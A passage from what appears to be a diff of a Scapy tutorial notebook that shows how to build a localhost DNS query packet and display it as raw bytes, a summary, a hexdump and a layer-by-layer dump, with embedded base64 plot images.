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\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\n",
- "text/plain": [
- "<matplotlib.figure.Figure at 0x7f2c23bfbc50>"
- ]
- },
- "metadata": {},
- "output_type": "display_data"
- },
- {
- "data": {
- "text/plain": [
- "[[<matplotlib.lines.Line2D at 0x7f2c2e113d10>],\n",
- " [<matplotlib.lines.Line2D at 0x7f2c2e113f10>]]"
- ]
- },
- "execution_count": 26,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "%matplotlib inline\n",
- "ans.multiplot(lambda (x, y): (y[IP].src, (y.time, y[IP].id)), plot_xy=True)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "The `raw()` constructor can be used to \"build\" the packet's bytes as they would be sent on the wire."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 8,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x11|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00)\\xb6\\xd3\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n"
- ]
- }
- ],
- "source": [
- "pkt = IP() / UDP() / DNS(qd=DNSQR())\n",
- "print repr(raw(pkt))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Since some people cannot read this representation, Scapy can:\n",
- " - give a summary for a packet"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 10,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "IP / UDP / DNS Qry \"www.example.com\" \n"
- ]
- }
- ],
- "source": [
- "print pkt.summary()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- " - \"hexdump\" the packet's bytes"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 18,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "0000 45 00 00 3D 00 01 00 00 40 11 7C AD 7F 00 00 01 E..=....@.|.....\n",
- "0010 7F 00 00 01 00 35 00 35 00 29 B6 D3 00 00 01 00 .....5.5.)......\n",
- "0020 00 01 00 00 00 00 00 00 03 77 77 77 07 65 78 61 .........www.exa\n",
- "0030 6D 70 6C 65 03 63 6F 6D 00 00 01 00 01 mple.com.....\n"
- ]
- }
- ],
- "source": [
- "hexdump(pkt)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- " - dump the packet, layer by layer, with the values for each field"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 11,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "###[ IP ]###\n",
- " version = 4\n",
- " ihl = None\n",
- " tos = 0x0\n",
- " len = None\n",
- " id = 1\n",
- " flags = \n",
- " frag = 0\n",
- " ttl = 64\n",
- " proto = udp\n",
- " chksum = None\n",
- " src = 127.0.0.1\n",
- " dst = 127.0.0.1\n",
- " \\options \\\n",
- "###[ UDP ]###\n",
- " sport = domain\n",
- " dport = domain\n",
- " len = None\n",
- " chksum = None\n",
- "###[ DNS ]###\n",
- " id = 0\n",
- " qr = 0\n",
- " opcode = QUERY\n",
- " aa = 0\n",
- " tc = 0\n",
- " rd = 1\n",
- " ra = 0\n",
- " z = 0\n",
- " ad = 0\n",
- " cd = 0\n",
- " rcode = ok\n",
- " qdcount = 1\n",
- " ancount = 0\n",
- " nscount = 0\n",
- " arcount = 0\n",
- " \\qd \\\n",
- " |###[ DNS Question Record ]###\n",
- " | qname = 'www.example.com'\n",
- " | qtype = A\n",
- " | qclass = IN\n",
- " an = None\n",
- " ns = None\n",
- " ar = None\n"
- ]
- }
- ],
- "source": [
- "pkt.show()"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- " - render a pretty and handy dissection of the packet"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 15,
- "metadata": {
- "scrolled": true
- },
- "outputs": [
- {
- "data": {
- "image/png": "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\nNujq4vH6UpRrcvIVAPjKV06YTGLroX